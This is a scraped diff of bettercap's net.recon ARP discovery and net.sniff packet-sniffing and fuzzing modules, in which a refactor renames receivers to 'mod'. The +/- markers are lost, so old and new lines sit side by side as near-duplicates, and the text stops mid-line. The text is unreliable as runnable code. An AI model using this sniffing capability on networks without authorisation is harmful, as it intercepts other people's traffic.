package net_recon
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"github.com/bettercap/bettercap/modules/utils"
|
"github.com/bettercap/bettercap/modules/utils"
|
||||||
|
@ -14,105 +14,105 @@ type Discovery struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewDiscovery(s *session.Session) *Discovery {
|
func NewDiscovery(s *session.Session) *Discovery {
|
||||||
d := &Discovery{
|
mod := &Discovery{
|
||||||
SessionModule: session.NewSessionModule("net.recon", s),
|
SessionModule: session.NewSessionModule("net.recon", s),
|
||||||
}
|
}
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("net.recon on", "",
|
mod.AddHandler(session.NewModuleHandler("net.recon on", "",
|
||||||
"Start network hosts discovery.",
|
"Start network hosts discovery.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("net.recon off", "",
|
mod.AddHandler(session.NewModuleHandler("net.recon off", "",
|
||||||
"Stop network hosts discovery.",
|
"Stop network hosts discovery.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddParam(session.NewBoolParameter("net.show.meta",
|
mod.AddParam(session.NewBoolParameter("net.show.meta",
|
||||||
"false",
|
"false",
|
||||||
"If true, the net.show command will show all metadata collected about each endpoint."))
|
"If true, the net.show command will show all metadata collected about each endpoint."))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("net.show", "",
|
mod.AddHandler(session.NewModuleHandler("net.show", "",
|
||||||
"Show cache hosts list (default sorting by ip).",
|
"Show cache hosts list (default sorting by ip).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.Show("")
|
return mod.Show("")
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("net.show ADDRESS1, ADDRESS2", `net.show (.+)`,
|
mod.AddHandler(session.NewModuleHandler("net.show ADDRESS1, ADDRESS2", `net.show (.+)`,
|
||||||
"Show information about a specific list of addresses (by IP or MAC).",
|
"Show information about a specific list of addresses (by IP or MAC).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.Show(args[0])
|
return mod.Show(args[0])
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.AddHandler(session.NewModuleHandler("net.show.meta ADDRESS1, ADDRESS2", `net\.show\.meta (.+)`,
|
mod.AddHandler(session.NewModuleHandler("net.show.meta ADDRESS1, ADDRESS2", `net\.show\.meta (.+)`,
|
||||||
"Show meta information about a specific list of addresses (by IP or MAC).",
|
"Show meta information about a specific list of addresses (by IP or MAC).",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return d.showMeta(args[0])
|
return mod.showMeta(args[0])
|
||||||
}))
|
}))
|
||||||
|
|
||||||
d.selector = utils.ViewSelectorFor(&d.SessionModule, "net.show", []string{"ip", "mac", "seen", "sent", "rcvd"},
|
mod.selector = utils.ViewSelectorFor(&mod.SessionModule, "net.show", []string{"ip", "mac", "seen", "sent", "rcvd"},
|
||||||
"ip asc")
|
"ip asc")
|
||||||
|
|
||||||
return d
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d Discovery) Name() string {
|
func (mod Discovery) Name() string {
|
||||||
return "net.recon"
|
return "net.recon"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d Discovery) Description() string {
|
func (mod Discovery) Description() string {
|
||||||
return "Read periodically the ARP cache in order to monitor for new hosts on the network."
|
return "Read periodically the ARP cache in order to monitor for new hosts on the network."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d Discovery) Author() string {
|
func (mod Discovery) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) runDiff(cache network.ArpTable) {
|
func (mod *Discovery) runDiff(cache network.ArpTable) {
|
||||||
// check for endpoints who disappeared
|
// check for endpoints who disappeared
|
||||||
var rem network.ArpTable = make(network.ArpTable)
|
var rem network.ArpTable = make(network.ArpTable)
|
||||||
|
|
||||||
d.Session.Lan.EachHost(func(mac string, e *network.Endpoint) {
|
mod.Session.Lan.EachHost(func(mac string, e *network.Endpoint) {
|
||||||
if _, found := cache[mac]; !found {
|
if _, found := cache[mac]; !found {
|
||||||
rem[mac] = e.IpAddress
|
rem[mac] = e.IpAddress
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
|
|
||||||
for mac, ip := range rem {
|
for mac, ip := range rem {
|
||||||
d.Session.Lan.Remove(ip, mac)
|
mod.Session.Lan.Remove(ip, mac)
|
||||||
}
|
}
|
||||||
|
|
||||||
// now check for new friends ^_^
|
// now check for new friends ^_^
|
||||||
for ip, mac := range cache {
|
for ip, mac := range cache {
|
||||||
d.Session.Lan.AddIfNew(ip, mac)
|
mod.Session.Lan.AddIfNew(ip, mac)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) Configure() error {
|
func (mod *Discovery) Configure() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) Start() error {
|
func (mod *Discovery) Start() error {
|
||||||
if err := d.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return d.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
every := time.Duration(1) * time.Second
|
every := time.Duration(1) * time.Second
|
||||||
iface := d.Session.Interface.Name()
|
iface := mod.Session.Interface.Name()
|
||||||
for d.Running() {
|
for mod.Running() {
|
||||||
if table, err := network.ArpUpdate(iface); err != nil {
|
if table, err := network.ArpUpdate(iface); err != nil {
|
||||||
d.Error("%s", err)
|
mod.Error("%s", err)
|
||||||
} else {
|
} else {
|
||||||
d.runDiff(table)
|
mod.runDiff(table)
|
||||||
}
|
}
|
||||||
time.Sleep(every)
|
time.Sleep(every)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) Stop() error {
|
func (mod *Discovery) Stop() error {
|
||||||
return d.SetRunning(false, nil)
|
return mod.SetRunning(false, nil)
|
||||||
}
|
}
|
|
@ -1,4 +1,4 @@
|
||||||
package discovery
|
package net_recon
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"fmt"
|
"fmt"
|
||||||
|
@ -32,13 +32,13 @@ func (p ProtoPairList) Len() int { return len(p) }
|
||||||
func (p ProtoPairList) Less(i, j int) bool { return p[i].Hits < p[j].Hits }
|
func (p ProtoPairList) Less(i, j int) bool { return p[i].Hits < p[j].Hits }
|
||||||
func (p ProtoPairList) Swap(i, j int) { p[i], p[j] = p[j], p[i] }
|
func (p ProtoPairList) Swap(i, j int) { p[i], p[j] = p[j], p[i] }
|
||||||
|
|
||||||
func (d *Discovery) getRow(e *network.Endpoint, withMeta bool) [][]string {
|
func (mod *Discovery) getRow(e *network.Endpoint, withMeta bool) [][]string {
|
||||||
sinceStarted := time.Since(d.Session.StartedAt)
|
sinceStarted := time.Since(mod.Session.StartedAt)
|
||||||
sinceFirstSeen := time.Since(e.FirstSeen)
|
sinceFirstSeen := time.Since(e.FirstSeen)
|
||||||
|
|
||||||
addr := e.IpAddress
|
addr := e.IpAddress
|
||||||
mac := e.HwAddress
|
mac := e.HwAddress
|
||||||
if d.Session.Lan.WasMissed(e.HwAddress) {
|
if mod.Session.Lan.WasMissed(e.HwAddress) {
|
||||||
// if endpoint was not found in ARP at least once
|
// if endpoint was not found in ARP at least once
|
||||||
addr = tui.Dim(addr)
|
addr = tui.Dim(addr)
|
||||||
mac = tui.Dim(mac)
|
mac = tui.Dim(mac)
|
||||||
|
@ -49,9 +49,9 @@ func (d *Discovery) getRow(e *network.Endpoint, withMeta bool) [][]string {
|
||||||
}
|
}
|
||||||
|
|
||||||
name := ""
|
name := ""
|
||||||
if e == d.Session.Interface {
|
if e == mod.Session.Interface {
|
||||||
name = e.Name()
|
name = e.Name()
|
||||||
} else if e == d.Session.Gateway {
|
} else if e == mod.Session.Gateway {
|
||||||
name = "gateway"
|
name = "gateway"
|
||||||
} else if e.Alias != "" {
|
} else if e.Alias != "" {
|
||||||
name = tui.Green(e.Alias)
|
name = tui.Green(e.Alias)
|
||||||
|
@ -61,7 +61,7 @@ func (d *Discovery) getRow(e *network.Endpoint, withMeta bool) [][]string {
|
||||||
|
|
||||||
var traffic *packets.Traffic
|
var traffic *packets.Traffic
|
||||||
var found bool
|
var found bool
|
||||||
if traffic, found = d.Session.Queue.Traffic[e.IpAddress]; !found {
|
if traffic, found = mod.Session.Queue.Traffic[e.IpAddress]; !found {
|
||||||
traffic = &packets.Traffic{}
|
traffic = &packets.Traffic{}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -111,40 +111,40 @@ func (d *Discovery) getRow(e *network.Endpoint, withMeta bool) [][]string {
|
||||||
return rows
|
return rows
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) doFilter(target *network.Endpoint) bool {
|
func (mod *Discovery) doFilter(target *network.Endpoint) bool {
|
||||||
if d.selector.Expression == nil {
|
if mod.selector.Expression == nil {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
return d.selector.Expression.MatchString(target.IpAddress) ||
|
return mod.selector.Expression.MatchString(target.IpAddress) ||
|
||||||
d.selector.Expression.MatchString(target.Ip6Address) ||
|
mod.selector.Expression.MatchString(target.Ip6Address) ||
|
||||||
d.selector.Expression.MatchString(target.HwAddress) ||
|
mod.selector.Expression.MatchString(target.HwAddress) ||
|
||||||
d.selector.Expression.MatchString(target.Hostname) ||
|
mod.selector.Expression.MatchString(target.Hostname) ||
|
||||||
d.selector.Expression.MatchString(target.Alias) ||
|
mod.selector.Expression.MatchString(target.Alias) ||
|
||||||
d.selector.Expression.MatchString(target.Vendor)
|
mod.selector.Expression.MatchString(target.Vendor)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) doSelection(arg string) (err error, targets []*network.Endpoint) {
|
func (mod *Discovery) doSelection(arg string) (err error, targets []*network.Endpoint) {
|
||||||
if err = d.selector.Update(); err != nil {
|
if err = mod.selector.Update(); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
if arg != "" {
|
if arg != "" {
|
||||||
if targets, err = network.ParseEndpoints(arg, d.Session.Lan); err != nil {
|
if targets, err = network.ParseEndpoints(arg, mod.Session.Lan); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
targets = d.Session.Lan.List()
|
targets = mod.Session.Lan.List()
|
||||||
}
|
}
|
||||||
|
|
||||||
filtered := []*network.Endpoint{}
|
filtered := []*network.Endpoint{}
|
||||||
for _, target := range targets {
|
for _, target := range targets {
|
||||||
if d.doFilter(target) {
|
if mod.doFilter(target) {
|
||||||
filtered = append(filtered, target)
|
filtered = append(filtered, target)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
targets = filtered
|
targets = filtered
|
||||||
|
|
||||||
switch d.selector.SortField {
|
switch mod.selector.SortField {
|
||||||
case "ip":
|
case "ip":
|
||||||
sort.Sort(ByIpSorter(targets))
|
sort.Sort(ByIpSorter(targets))
|
||||||
case "mac":
|
case "mac":
|
||||||
|
@ -160,7 +160,7 @@ func (d *Discovery) doSelection(arg string) (err error, targets []*network.Endpo
|
||||||
}
|
}
|
||||||
|
|
||||||
// default is asc
|
// default is asc
|
||||||
if d.selector.Sort == "desc" {
|
if mod.selector.Sort == "desc" {
|
||||||
// from https://github.com/golang/go/wiki/SliceTricks
|
// from https://github.com/golang/go/wiki/SliceTricks
|
||||||
for i := len(targets)/2 - 1; i >= 0; i-- {
|
for i := len(targets)/2 - 1; i >= 0; i-- {
|
||||||
opp := len(targets) - 1 - i
|
opp := len(targets) - 1 - i
|
||||||
|
@ -168,8 +168,8 @@ func (d *Discovery) doSelection(arg string) (err error, targets []*network.Endpo
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if d.selector.Limit > 0 {
|
if mod.selector.Limit > 0 {
|
||||||
limit := d.selector.Limit
|
limit := mod.selector.Limit
|
||||||
max := len(targets)
|
max := len(targets)
|
||||||
if limit > max {
|
if limit > max {
|
||||||
limit = max
|
limit = max
|
||||||
|
@ -180,61 +180,61 @@ func (d *Discovery) doSelection(arg string) (err error, targets []*network.Endpo
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) colNames(hasMeta bool) []string {
|
func (mod *Discovery) colNames(hasMeta bool) []string {
|
||||||
colNames := []string{"IP", "MAC", "Name", "Vendor", "Sent", "Recvd", "Seen"}
|
colNames := []string{"IP", "MAC", "Name", "Vendor", "Sent", "Recvd", "Seen"}
|
||||||
if hasMeta {
|
if hasMeta {
|
||||||
colNames = append(colNames, "Meta")
|
colNames = append(colNames, "Meta")
|
||||||
}
|
}
|
||||||
|
|
||||||
switch d.selector.SortField {
|
switch mod.selector.SortField {
|
||||||
case "mac":
|
case "mac":
|
||||||
colNames[1] += " " + d.selector.SortSymbol
|
colNames[1] += " " + mod.selector.SortSymbol
|
||||||
case "sent":
|
case "sent":
|
||||||
colNames[4] += " " + d.selector.SortSymbol
|
colNames[4] += " " + mod.selector.SortSymbol
|
||||||
case "rcvd":
|
case "rcvd":
|
||||||
colNames[5] += " " + d.selector.SortSymbol
|
colNames[5] += " " + mod.selector.SortSymbol
|
||||||
case "seen":
|
case "seen":
|
||||||
colNames[6] += " " + d.selector.SortSymbol
|
colNames[6] += " " + mod.selector.SortSymbol
|
||||||
case "ip":
|
case "ip":
|
||||||
colNames[0] += " " + d.selector.SortSymbol
|
colNames[0] += " " + mod.selector.SortSymbol
|
||||||
}
|
}
|
||||||
|
|
||||||
return colNames
|
return colNames
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) showStatusBar() {
|
func (mod *Discovery) showStatusBar() {
|
||||||
d.Session.Queue.Stats.RLock()
|
mod.Session.Queue.Stats.RLock()
|
||||||
defer d.Session.Queue.Stats.RUnlock()
|
defer mod.Session.Queue.Stats.RUnlock()
|
||||||
|
|
||||||
parts := []string{
|
parts := []string{
|
||||||
fmt.Sprintf("%s %s", tui.Red("↑"), humanize.Bytes(d.Session.Queue.Stats.Sent)),
|
fmt.Sprintf("%s %s", tui.Red("↑"), humanize.Bytes(mod.Session.Queue.Stats.Sent)),
|
||||||
fmt.Sprintf("%s %s", tui.Green("↓"), humanize.Bytes(d.Session.Queue.Stats.Received)),
|
fmt.Sprintf("%s %s", tui.Green("↓"), humanize.Bytes(mod.Session.Queue.Stats.Received)),
|
||||||
fmt.Sprintf("%d pkts", d.Session.Queue.Stats.PktReceived),
|
fmt.Sprintf("%d pkts", mod.Session.Queue.Stats.PktReceived),
|
||||||
}
|
}
|
||||||
|
|
||||||
if nErrors := d.Session.Queue.Stats.Errors; nErrors > 0 {
|
if nErrors := mod.Session.Queue.Stats.Errors; nErrors > 0 {
|
||||||
parts = append(parts, fmt.Sprintf("%d errs", nErrors))
|
parts = append(parts, fmt.Sprintf("%d errs", nErrors))
|
||||||
}
|
}
|
||||||
|
|
||||||
fmt.Printf("\n%s\n\n", strings.Join(parts, " / "))
|
fmt.Printf("\n%s\n\n", strings.Join(parts, " / "))
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) Show(arg string) (err error) {
|
func (mod *Discovery) Show(arg string) (err error) {
|
||||||
var targets []*network.Endpoint
|
var targets []*network.Endpoint
|
||||||
if err, targets = d.doSelection(arg); err != nil {
|
if err, targets = mod.doSelection(arg); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
pad := 1
|
pad := 1
|
||||||
if d.Session.Interface.HwAddress == d.Session.Gateway.HwAddress {
|
if mod.Session.Interface.HwAddress == mod.Session.Gateway.HwAddress {
|
||||||
pad = 0
|
pad = 0
|
||||||
targets = append([]*network.Endpoint{d.Session.Interface}, targets...)
|
targets = append([]*network.Endpoint{mod.Session.Interface}, targets...)
|
||||||
} else {
|
} else {
|
||||||
targets = append([]*network.Endpoint{d.Session.Interface, d.Session.Gateway}, targets...)
|
targets = append([]*network.Endpoint{mod.Session.Interface, mod.Session.Gateway}, targets...)
|
||||||
}
|
}
|
||||||
|
|
||||||
hasMeta := false
|
hasMeta := false
|
||||||
if err, showMeta := d.BoolParam("net.show.meta"); err != nil {
|
if err, showMeta := mod.BoolParam("net.show.meta"); err != nil {
|
||||||
return err
|
return err
|
||||||
} else if showMeta {
|
} else if showMeta {
|
||||||
for _, t := range targets {
|
for _, t := range targets {
|
||||||
|
@ -245,12 +245,12 @@ func (d *Discovery) Show(arg string) (err error) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
colNames := d.colNames(hasMeta)
|
colNames := mod.colNames(hasMeta)
|
||||||
padCols := make([]string, len(colNames))
|
padCols := make([]string, len(colNames))
|
||||||
|
|
||||||
rows := make([][]string, 0)
|
rows := make([][]string, 0)
|
||||||
for i, t := range targets {
|
for i, t := range targets {
|
||||||
rows = append(rows, d.getRow(t, hasMeta)...)
|
rows = append(rows, mod.getRow(t, hasMeta)...)
|
||||||
if i == pad {
|
if i == pad {
|
||||||
rows = append(rows, padCols)
|
rows = append(rows, padCols)
|
||||||
}
|
}
|
||||||
|
@ -258,16 +258,16 @@ func (d *Discovery) Show(arg string) (err error) {
|
||||||
|
|
||||||
tui.Table(os.Stdout, colNames, rows)
|
tui.Table(os.Stdout, colNames, rows)
|
||||||
|
|
||||||
d.showStatusBar()
|
mod.showStatusBar()
|
||||||
|
|
||||||
d.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
|
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (d *Discovery) showMeta(arg string) (err error) {
|
func (mod *Discovery) showMeta(arg string) (err error) {
|
||||||
var targets []*network.Endpoint
|
var targets []*network.Endpoint
|
||||||
if err, targets = d.doSelection(arg); err != nil {
|
if err, targets = mod.doSelection(arg); err != nil {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -303,7 +303,7 @@ func (d *Discovery) showMeta(arg string) (err error) {
|
||||||
}
|
}
|
||||||
|
|
||||||
if any {
|
if any {
|
||||||
d.Session.Refresh()
|
mod.Session.Refresh()
|
||||||
}
|
}
|
||||||
|
|
||||||
return nil
|
return nil
|
|
@ -1,4 +1,4 @@
|
||||||
package discovery
|
package net_recon
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"github.com/bettercap/bettercap/network"
|
"github.com/bettercap/bettercap/network"
|
|
@ -24,133 +24,133 @@ type Sniffer struct {
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewSniffer(s *session.Session) *Sniffer {
|
func NewSniffer(s *session.Session) *Sniffer {
|
||||||
sniff := &Sniffer{
|
mod := &Sniffer{
|
||||||
SessionModule: session.NewSessionModule("net.sniff", s),
|
SessionModule: session.NewSessionModule("net.sniff", s),
|
||||||
Stats: nil,
|
Stats: nil,
|
||||||
}
|
}
|
||||||
|
|
||||||
sniff.AddParam(session.NewBoolParameter("net.sniff.verbose",
|
mod.AddParam(session.NewBoolParameter("net.sniff.verbose",
|
||||||
"false",
|
"false",
|
||||||
"If true, every captured and parsed packet will be sent to the events.stream for displaying, otherwise only the ones parsed at the application layer (sni, http, etc)."))
|
"If true, every captured and parsed packet will be sent to the events.stream for displaying, otherwise only the ones parsed at the application layer (sni, http, etc)."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewBoolParameter("net.sniff.local",
|
mod.AddParam(session.NewBoolParameter("net.sniff.local",
|
||||||
"false",
|
"false",
|
||||||
"If true it will consider packets from/to this computer, otherwise it will skip them."))
|
"If true it will consider packets from/to this computer, otherwise it will skip them."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewStringParameter("net.sniff.filter",
|
mod.AddParam(session.NewStringParameter("net.sniff.filter",
|
||||||
"not arp",
|
"not arp",
|
||||||
"",
|
"",
|
||||||
"BPF filter for the sniffer."))
|
"BPF filter for the sniffer."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewStringParameter("net.sniff.regexp",
|
mod.AddParam(session.NewStringParameter("net.sniff.regexp",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"If set, only packets matching this regular expression will be considered."))
|
"If set, only packets matching this regular expression will be considered."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewStringParameter("net.sniff.output",
|
mod.AddParam(session.NewStringParameter("net.sniff.output",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"If set, the sniffer will write captured packets to this file."))
|
"If set, the sniffer will write captured packets to this file."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewStringParameter("net.sniff.source",
|
mod.AddParam(session.NewStringParameter("net.sniff.source",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
"If set, the sniffer will read from this pcap file instead of the current interface."))
|
"If set, the sniffer will read from this pcap file instead of the current interface."))
|
||||||
|
|
||||||
sniff.AddHandler(session.NewModuleHandler("net.sniff stats", "",
|
mod.AddHandler(session.NewModuleHandler("net.sniff stats", "",
|
||||||
"Print sniffer session configuration and statistics.",
|
"Print sniffer session configuration and statistics.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
if sniff.Stats == nil {
|
if mod.Stats == nil {
|
||||||
return fmt.Errorf("No stats yet.")
|
return fmt.Errorf("No stats yet.")
|
||||||
}
|
}
|
||||||
|
|
||||||
sniff.Ctx.Log(sniff.Session)
|
mod.Ctx.Log(mod.Session)
|
||||||
|
|
||||||
return sniff.Stats.Print()
|
return mod.Stats.Print()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
sniff.AddHandler(session.NewModuleHandler("net.sniff on", "",
|
mod.AddHandler(session.NewModuleHandler("net.sniff on", "",
|
||||||
"Start network sniffer in background.",
|
"Start network sniffer in background.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return sniff.Start()
|
return mod.Start()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
sniff.AddHandler(session.NewModuleHandler("net.sniff off", "",
|
mod.AddHandler(session.NewModuleHandler("net.sniff off", "",
|
||||||
"Stop network sniffer in background.",
|
"Stop network sniffer in background.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return sniff.Stop()
|
return mod.Stop()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
sniff.AddHandler(session.NewModuleHandler("net.fuzz on", "",
|
mod.AddHandler(session.NewModuleHandler("net.fuzz on", "",
|
||||||
"Enable fuzzing for every sniffed packet containing the sapecified layers.",
|
"Enable fuzzing for every sniffed packet containing the sapecified layers.",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return sniff.StartFuzzing()
|
return mod.StartFuzzing()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
sniff.AddHandler(session.NewModuleHandler("net.fuzz off", "",
|
mod.AddHandler(session.NewModuleHandler("net.fuzz off", "",
|
||||||
"Disable fuzzing",
|
"Disable fuzzing",
|
||||||
func(args []string) error {
|
func(args []string) error {
|
||||||
return sniff.StopFuzzing()
|
return mod.StopFuzzing()
|
||||||
}))
|
}))
|
||||||
|
|
||||||
sniff.AddParam(session.NewStringParameter("net.fuzz.layers",
|
mod.AddParam(session.NewStringParameter("net.fuzz.layers",
|
||||||
"Payload",
|
"Payload",
|
||||||
"",
|
"",
|
||||||
"Types of layer to fuzz."))
|
"Types of layer to fuzz."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewDecimalParameter("net.fuzz.rate",
|
mod.AddParam(session.NewDecimalParameter("net.fuzz.rate",
|
||||||
"1.0",
|
"1.0",
|
||||||
"Rate in the [0.0,1.0] interval of packets to fuzz."))
|
"Rate in the [0.0,1.0] interval of packets to fuzz."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewDecimalParameter("net.fuzz.ratio",
|
mod.AddParam(session.NewDecimalParameter("net.fuzz.ratio",
|
||||||
"0.4",
|
"0.4",
|
||||||
"Rate in the [0.0,1.0] interval of bytes to fuzz for each packet."))
|
"Rate in the [0.0,1.0] interval of bytes to fuzz for each packet."))
|
||||||
|
|
||||||
sniff.AddParam(session.NewBoolParameter("net.fuzz.silent",
|
mod.AddParam(session.NewBoolParameter("net.fuzz.silent",
|
||||||
"false",
|
"false",
|
||||||
"If true it will not report fuzzed packets."))
|
"If true it will not report fuzzed packets."))
|
||||||
|
|
||||||
return sniff
|
return mod
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s Sniffer) Name() string {
|
func (mod Sniffer) Name() string {
|
||||||
return "net.sniff"
|
return "net.sniff"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s Sniffer) Description() string {
|
func (mod Sniffer) Description() string {
|
||||||
return "Sniff packets from the network."
|
return "Sniff packets from the network."
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s Sniffer) Author() string {
|
func (mod Sniffer) Author() string {
|
||||||
return "Simone Margaritelli <evilsocket@gmail.com>"
|
return "Simone Margaritelli <evilsocket@gmail.com>"
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s Sniffer) isLocalPacket(packet gopacket.Packet) bool {
|
func (mod Sniffer) isLocalPacket(packet gopacket.Packet) bool {
|
||||||
ipl := packet.Layer(layers.LayerTypeIPv4)
|
ipl := packet.Layer(layers.LayerTypeIPv4)
|
||||||
if ipl != nil {
|
if ipl != nil {
|
||||||
ip, _ := ipl.(*layers.IPv4)
|
ip, _ := ipl.(*layers.IPv4)
|
||||||
if ip.SrcIP.Equal(s.Session.Interface.IP) || ip.DstIP.Equal(s.Session.Interface.IP) {
|
if ip.SrcIP.Equal(mod.Session.Interface.IP) || ip.DstIP.Equal(mod.Session.Interface.IP) {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) onPacketMatched(pkt gopacket.Packet) {
|
func (mod *Sniffer) onPacketMatched(pkt gopacket.Packet) {
|
||||||
if mainParser(pkt, s.Ctx.Verbose) {
|
if mainParser(pkt, mod.Ctx.Verbose) {
|
||||||
s.Stats.NumDumped++
|
mod.Stats.NumDumped++
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) Configure() error {
|
func (mod *Sniffer) Configure() error {
|
||||||
var err error
|
var err error
|
||||||
|
|
||||||
if s.Running() {
|
if mod.Running() {
|
||||||
return session.ErrAlreadyStarted
|
return session.ErrAlreadyStarted
|
||||||
} else if err, s.Ctx = s.GetContext(); err != nil {
|
} else if err, mod.Ctx = mod.GetContext(); err != nil {
|
||||||
if s.Ctx != nil {
|
if mod.Ctx != nil {
|
||||||
s.Ctx.Close()
|
mod.Ctx.Close()
|
||||||
s.Ctx = nil
|
mod.Ctx = nil
|
||||||
}
|
}
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
@ -158,66 +158,66 @@ func (s *Sniffer) Configure() error {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (s *Sniffer) Start() error {
|
func (mod *Sniffer) Start() error {
|
||||||
if err := s.Configure(); err != nil {
|
if err := mod.Configure(); err != nil {
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
return s.SetRunning(true, func() {
|
return mod.SetRunning(true, func() {
|
||||||
s.Stats = NewSnifferStats()
|
mod.Stats = NewSnifferStats()
|
||||||
|
|
||||||
src := gopacket.NewPacketSource(s.Ctx.Handle, s.Ctx.Handle.LinkType())
|
src := gopacket.NewPacketSource(mod.Ctx.Handle, mod.Ctx.Handle.LinkType())
|
||||||
s.pktSourceChan = src.Packets()
|
mod.pktSourceChan = src.Packets()
|
||||||
for packet := range s.pktSourceChan {
|
for packet := range mod.pktSourceChan {
|
||||||
if !s.Running() {
|
if !mod.Running() {
|
||||||
s.Debug("end pkt loop (pkt=%v filter='%s')", packet, s.Ctx.Filter)
|
mod.Debug("end pkt loop (pkt=%v filter='%s')", packet, mod.Ctx.Filter)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
now := time.Now()
|
now := time.Now()
|
||||||
if s.Stats.FirstPacket.IsZero() {
|
if mod.Stats.FirstPacket.IsZero() {
|
||||||
s.Stats.FirstPacket = now
|
mod.Stats.FirstPacket = now
|
||||||
}
|
}
|
||||||
s.Stats.LastPacket = now
|
mod.Stats.LastPacket = now
|
||||||
|
|
||||||
isLocal := s.isLocalPacket(packet)
|
isLocal := mod.isLocalPacket(packet)
|
||||||
if isLocal {
|
if isLocal {
|
||||||
s.Stats.NumLocal++
|
mod.Stats.NumLocal++
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.fuzzActive {
|
if mod.fuzzActive {
|
||||||
s.doFuzzing(packet)
|
mod.doFuzzing(packet)
|
||||||
}
|
}
|
||||||
|
|
||||||
if s.Ctx.DumpLocal || !isLocal {
|
if mod.Ctx.DumpLocal || !isLocal {
|
||||||
data := packet.Data()
|
data := packet.Data()
|
||||||
if s.Ctx.Compiled == nil || s.Ctx.Compiled.Match(data) {
|
if mod.Ctx.Compiled == nil || mod.Ctx.Compiled.Match(data) {
|
||||||
s.Stats.NumMatched++
|
mod.Stats.NumMatched++
|
||||||
|
|
||||||
s.onPacketMatched(packet)
|
mod.onPacketMatched(packet)
|
||||||
|
|
||||||
if s.Ctx.OutputWriter != nil {
|
if mod.Ctx.OutputWriter != nil {
|
||||||
s.Ctx.OutputWriter.WritePacket(packet.Metadata().CaptureInfo, data)
|
